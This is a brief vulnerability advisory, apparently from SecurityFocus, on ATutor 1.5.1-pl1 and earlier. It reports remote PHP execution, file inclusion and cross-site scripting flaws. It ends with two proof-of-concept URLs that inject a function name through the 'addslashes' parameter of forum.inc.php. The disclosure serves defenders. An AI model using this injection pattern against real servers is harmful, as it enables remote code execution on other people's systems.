source: http://www.securityfocus.com/bid/15221/info

ATutor is prone to multiple vulnerabilities.

These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.

ATutor 1.5.1-pl1 and prior versions are affected. 

http://www.example.com/include/html/forum.inc.php?addslashes=[function]&asc=[parameter]
http://www.example.com/include/html/forum.inc.php?addslashes=[function]&desc=[parameter]